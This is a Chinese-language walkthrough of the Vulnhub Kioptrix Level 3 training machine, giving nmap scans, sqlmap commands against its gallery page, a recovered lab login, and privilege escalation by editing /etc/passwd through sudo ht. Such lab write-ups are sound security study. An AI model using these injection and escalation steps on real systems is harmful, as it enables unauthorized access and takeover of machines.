【Vulnhub靶场】Kioptrix Level 3

目标

本机IP:192.168.118.128

目标IP:192.168.118.0/24

信息收集

常规 nmap 扫存活主机,扫端口

根据靶机IP容易得出靶机IP为 192.168.118.133

复制代码
nmap -sP 192.168.118.0/24

nmap -p- 192.168.118.133

Getshell

开放22端口和80 端口

访问web页面

有一个login界面及一个超链接now

尝试点击,发现页面跳转到了kioptrix3.com ,结合靶机提示,应该是要绑定host

复制代码
vim /etc/hosts

访问 kioptrix3.com ,可以找到如下页面

初步探测,发现存在SQL注入漏洞

使用 sqlmap 跑一下

复制代码
sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=1' --batch --current-db 

sqlmap -u 'http://kioptrix3.com/gallery/gallery.php?id=1' --batch -D 'gallery' --tables

最终得到两个账号密码

结合开始发现开放的 22 端口,尝试ssh登录,登录成功

复制代码
loneferret:starwars

ssh loneferret@192.168.118.133

提权

查看当前权限

复制代码
sudo -l

查看loneferret用户家目录下文件,得到提示,使用sudo ht编辑文件

根据提示,执行命令,但是报错无法打开xterm-256coler.终端,输入以下命令解决

复制代码
export TERM=xterm

再次执行命令 sudo ht


按f3,打开文件,可以修改/etc/passwd,或/etc/sudoers

这里我将/etc/passwd中当前用户权限修改为root

按f2保存,ctrl+c退出

重新ssh登录查看,提权成功

相关推荐
RisunJan23 分钟前
Linux命令-iotop命令(实时磁盘 I/O 监控工具)
linux·运维·服务器
Kevin Wang72741 分钟前
服务器损坏,数据迁移,只有一个链接窗口的情况下
运维·服务器
大连好光景43 分钟前
《Docker容器提权&逃逸总结》
linux·运维·服务器
丁丁丁梦涛1 小时前
TencentOS Server 4.4(兼容centos 9 stream)部署KKFileView
linux·运维·centos·kkfileview
南山nash1 小时前
Docker 网络详细讲解
运维·docker·容器
智能化咨询1 小时前
(112页PPT)数字化转型制造业企业数据治理平台规划方案(附下载方式)
大数据·运维·人工智能
num_killer1 小时前
小白的Jenkins学习
运维·python·学习·jenkins
以太浮标1 小时前
华为eNSP模拟器综合实验之- PPP协议解析及配置案例
运维·网络·华为·信息与通信
2301_780789662 小时前
服务器感染的病毒有哪些特点呢?
安全·web安全
白驹过隙不负青春2 小时前
Docker-compose部署java服务及前端服务
java·运维·前端·docker·容器·centos